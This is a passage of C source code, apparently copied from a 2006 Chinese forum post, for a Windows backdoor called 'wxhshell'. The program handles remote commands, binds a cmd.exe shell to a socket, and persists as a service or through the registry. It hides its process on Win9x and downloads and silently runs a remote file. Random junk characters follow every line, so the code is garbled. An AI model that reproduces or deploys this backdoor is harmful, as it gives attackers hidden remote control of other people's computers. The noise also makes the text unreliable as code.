  } D./!/>@f  
  else { RC[mpR ;2  
<[*%d~92z  
    switch(cmd[0]) { <n#phU Q  
  ;JpsRf!  
  // 帮助 >JSk/]"  
  case '?': { NY(z 3G  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); MKdS_&F;~  
    break; HACY  
  } p* '%<3ml  
  // 安装 , ZisJksk  
  case 'i': { #\P\(+0K  
    if(Install()) d17RJW%A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [quT&E  
    else ! .q,m>?+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (ncm]W  
    break; jH5VrN*Q  
    } ^ <$$h  
  // 卸载 /JcfAY  
  case 'r': { 6H ]rO3[8  
    if(Uninstall())  }q$6^y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -(oFO'Lbg  
    else {fd/:B 7T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z 91{*?  
    break;  L- '{   
    } k vu SE  
  // 显示 wxhshell 所在路径 ;#i$5L!*B  
  case 'p': { >$/<~j]  
    char svExeFile[MAX_PATH]; ce&Q}_  
    strcpy(svExeFile,"\n\r"); !^Ly#$-X  
      strcat(svExeFile,ExeFile); 6@rebe!&=  
        send(wsh,svExeFile,strlen(svExeFile),0); YK{E=<:  
    break; l-v(~u7  
    } (GCeD-  
  // 重启 qj.>4d  
  case 'b': { Wx8oTN  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Z&Qz"V>$  
    if(Boot(REBOOT)) 9Z[EzKd<~'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y^Y1re+}  
    else { w'r?)WW$  
    closesocket(wsh); av8\?xmo.$  
    ExitThread(0); Yl$R$u)  
    } 23(j<  
    break; ;h"St0   
    } B=<Z@u  
  // 关机 Z[Z3x6 6  
  case 'd': { q,Nhfo(  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);  /N8>>g  
    if(Boot(SHUTDOWN)) .#OD=wkN0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gs:V4$(p4  
    else { 4Ou5Vp&y  
    closesocket(wsh); QjIn0MJ)Xm  
    ExitThread(0); /0_^Z2  
    } \@8.BCWK  
    break; <Pnz$nH:e  
    } /19ZyQw9  
  // 获取shell ]?<=DHn  
  case 's': { 6Trtulm  
    CmdShell(wsh); !H^e$BA  
    closesocket(wsh); T?4I\SG  
    ExitThread(0); F,.dC&B  
    break; AZ7m=Q97  
  } ~u.( (GM  
  // 退出 +7V4mF!u  
  case 'x': { i]{-KZC  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >qL-a*w:a  
    CloseIt(wsh); 2R`dyg  
    break; H[DBL  
    } vU9j|z  
  // 离开 MXP3Z N'  
  case 'q': { + FG Xx  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); X+%5q =N  
    closesocket(wsh); s[n*fV']A  
    WSACleanup(); 1w$X;q"  
    exit(1); wfMtWXd;KB  
    break; ]n 'FD|  
        } L5RBe  
  } #wS/QrRE  
  } uLq%Nu  
S2\|bs7;J,  
  // 提示信息 &_o.:SL|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [dIlt"2fV  
} *RllKPY)  
  }  KB5<)[bs  
9`FPV`/  
  return; t,IQ|B&0  
} -L6V)aK&  
Q13>z%Rge  
// shell模块句柄 ^V?W'~  
int CmdShell(SOCKET sock) Ls2g#+  
{ "/g\?Nce  
STARTUPINFO si; DlF6tcoI  
ZeroMemory(&si,sizeof(si)); 8`Iz%rw&(J  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; JBMJR  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "V3f"J?  
PROCESS_INFORMATION ProcessInfo; wgcKeTD9  
char cmdline[]="cmd"; -VafN   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \(4kEB2s$  
  return 0; ;56mkP  
} "~,3gNTzV  
%SC%#_7  
// 自身启动模式 1$RUhxT  
int StartFromService(void) ;8iK];^  
{ f2]O5rX p  
typedef struct V+>.Gf  
{ pRc<U^Z.h  
  DWORD ExitStatus; =%ry-n G  
  DWORD PebBaseAddress; P+gY LX8  
  DWORD AffinityMask; N6<G`k,  
  DWORD BasePriority;  )k6O  
  ULONG UniqueProcessId; P^-daRb  
  ULONG InheritedFromUniqueProcessId; #,jw! HO]  
}   PROCESS_BASIC_INFORMATION; ~\o hH  
l|" SM6  
PROCNTQSIP NtQueryInformationProcess; /DE`>eJY  
@A1Ohl  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; iji2gWV}h  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; H6 V!W\:s  
+AkMU|6  
  HANDLE             hProcess; bPMkBm  
  PROCESS_BASIC_INFORMATION pbi; h 7  c  
.[:2M9Rx  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); bKac?y~S_  
  if(NULL == hInst ) return 0; v[!ZRwk4w3  
#Nv)SCc  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); W</\F&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +<$b6^>!$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); SadffAvSA{  
M|9=B<6`7  
  if (!NtQueryInformationProcess) return 0; H^J waF  
-;RW)n^n  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }WM!e"  
  if(!hProcess) return 0; ?>T (  
17) `CM$<[  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; P0O=veCf  
9^2l<4^Z  
  CloseHandle(hProcess); `CqF&b  
(>M@Ukam:  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); sV$Zf `X)  
if(hProcess==NULL) return 0; lCxPR'C|  
th]pqhl>  
HMODULE hMod; }:xj%?ki  
char procName[255]; gK",D^6T*Y  
unsigned long cbNeeded; f@aFs]xV  
6$ x9@x8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5$<Ozkj(  
g?> V4WF  
  CloseHandle(hProcess); T@gm0igW/;  
Q)%a2s;  
if(strstr(procName,"services")) return 1; // 以服务启动 bc%N !d  
c?7 Wjy  
  return 0; // 注册表启动 OqlP_^Zz7p  
} HE.YfD)  
TBu[3X%  
// 主模块 [e?vqm .  
int StartWxhshell(LPSTR lpCmdLine) y#?AW`|  
{ 6[S-%|f  
  SOCKET wsl; 2y#[uSqB  
BOOL val=TRUE; M0Vs9K=  
  int port=0; Ns5'K^  
  struct sockaddr_in door; Q/y"W,H#  
]v|n'D-?  
  if(wscfg.ws_autoins) Install(); V4tObZP3Ff  
AB[#  
port=atoi(lpCmdLine); K/IG6s;Xj  
 zPW_  
if(port<=0) port=wscfg.ws_port; QvvH/u  
p8|u0/;k  
  WSADATA data; g;._Q   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; C~q&  
9Pjw< xt  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   |N%#;7  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); B4{clI_i  
  door.sin_family = AF_INET; `71(wf1q[f  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); w+G+&ak<  
  door.sin_port = htons(port); &+Yoob]P  
 ie4BE'  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { u[+/WFH  
closesocket(wsl); U "kD)\  
return 1; 'l&bg8K9  
} /;9iDjG  
h-6zQs   
  if(listen(wsl,2) == INVALID_SOCKET) { #@8JYzMq%  
closesocket(wsl); 0;SRmj@W  
return 1; "fZWAGDBO\  
} `R@b`3*%v  
  Wxhshell(wsl); aZB$%#'vR  
  WSACleanup(); o@ W:PmKW  
^rssZQKY[  
return 0; ,!Q^"aOT:  
j@C*kj;-  
} b5t:" >wC  
?CO..l  
// 以NT服务方式启动 D'Y=}I)8Dn  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) xG~7kj3  
{ &p_V<\(%  
DWORD   status = 0; *z6m644H  
  DWORD   specificError = 0xfffffff; 1vUW$)?X  
=+"=|cQ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; PsCr[\Ul  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; AroYDR,3+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |Wz`#<t  
  serviceStatus.dwWin32ExitCode     = 0; CaqqH`/E4  
  serviceStatus.dwServiceSpecificExitCode = 0; Gf\u%S!%  
  serviceStatus.dwCheckPoint       = 0; 8}>s{u;W  
  serviceStatus.dwWaitHint       = 0; 94b* !Z  
{~{</ g/  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6hAMk<kx?i  
  if (hServiceStatusHandle==0) return; &T2qi'  
6:3F,!J!  
status = GetLastError(); ;'P<#hM[$  
  if (status!=NO_ERROR) a`_w9r+v  
{ d8% sGH  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; qfa[KD)!aB  
    serviceStatus.dwCheckPoint       = 0; o7 1f<&1  
    serviceStatus.dwWaitHint       = 0; M TOZ:b  
    serviceStatus.dwWin32ExitCode     = status; *wu|(t_ A  
    serviceStatus.dwServiceSpecificExitCode = specificError; C[s='v~}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); C*&FApG  
    return; !7y:|k,ac  
  } k\A[p\  
M$MFUGS'  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; &hSF  
  serviceStatus.dwCheckPoint       = 0; [&K"OQ^\2h  
  serviceStatus.dwWaitHint       = 0; N= {0A  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); kJK:1;CM?.  
} qY$]^gS  
H&h"!+t(#  
// 处理NT服务事件,比如:启动、停止 E=L 1q)  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [$FiXH J  
{ R/@n+tb e  
switch(fdwControl) WN3]xw3  
{ DxJY{e9  
case SERVICE_CONTROL_STOP: Wk-jaz  
  serviceStatus.dwWin32ExitCode = 0; NW`L6wgl  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; SeIL   
  serviceStatus.dwCheckPoint   = 0; ^_!2-QY.~  
  serviceStatus.dwWaitHint     = 0; K} TSwY  
  { xF])NZy|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }e0>Uk`[  
  } 6 6Bx,]"6  
  return; h7cE"m  
case SERVICE_CONTROL_PAUSE: b2G1@f.U  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; y.+!+4Mg|  
  break; Tv /?-`Y  
case SERVICE_CONTROL_CONTINUE: 8Q\ T,C  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Xn* >qm  
  break; 8Y&_X0T|  
case SERVICE_CONTROL_INTERROGATE: se`^g ,]P  
  break; ql(~3/kA_  
}; )bR`uV9<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [6cf$FS9  
} u]jvXPE6  
z-G*:DfgH  
// 标准应用程序主函数 1CA% nqlng  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Ys+NIV#Q  
{ gN5;Uk  
/\d@AB^5I  
// 获取操作系统版本 =L&dV]'4P  
OsIsNt=GetOsVer(); 9 gWqs'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5[|ZceY  
$i"IOp  
  // 从命令行安装 c);vl%  
  if(strpbrk(lpCmdLine,"iI")) Install(); 9Je+|+s]  
">x"BP  
  // 下载执行文件 JE ''Th}  
if(wscfg.ws_downexe) { E4qQ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) + 3c (CTz  
  WinExec(wscfg.ws_filenam,SW_HIDE); Tjj-8cg  
} O 2W2&vY  
rYPj3!#  
if(!OsIsNt) { :?f^D,w_B  
// 如果时win9x,隐藏进程并且设置为注册表启动 )2: ,E  
HideProc(); 4v;KtD;M  
StartWxhshell(lpCmdLine); Gc2:^FVlh  
} uow{a*q d6  
else |ohCA&k%;  
  if(StartFromService()) v9XevLs  
  // 以服务方式启动 Z^6qxZJ7  
  StartServiceCtrlDispatcher(DispatchTable); 33OkY C%e  
else ]3I@5}5%  
  // 普通方式启动 JlhI3`X;/  
  StartWxhshell(lpCmdLine); uh&Qdy!I  
cNiNLwc  
return 0; gX;)A|9e  
}
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只看该作者 1 发表于: 2006-10-10
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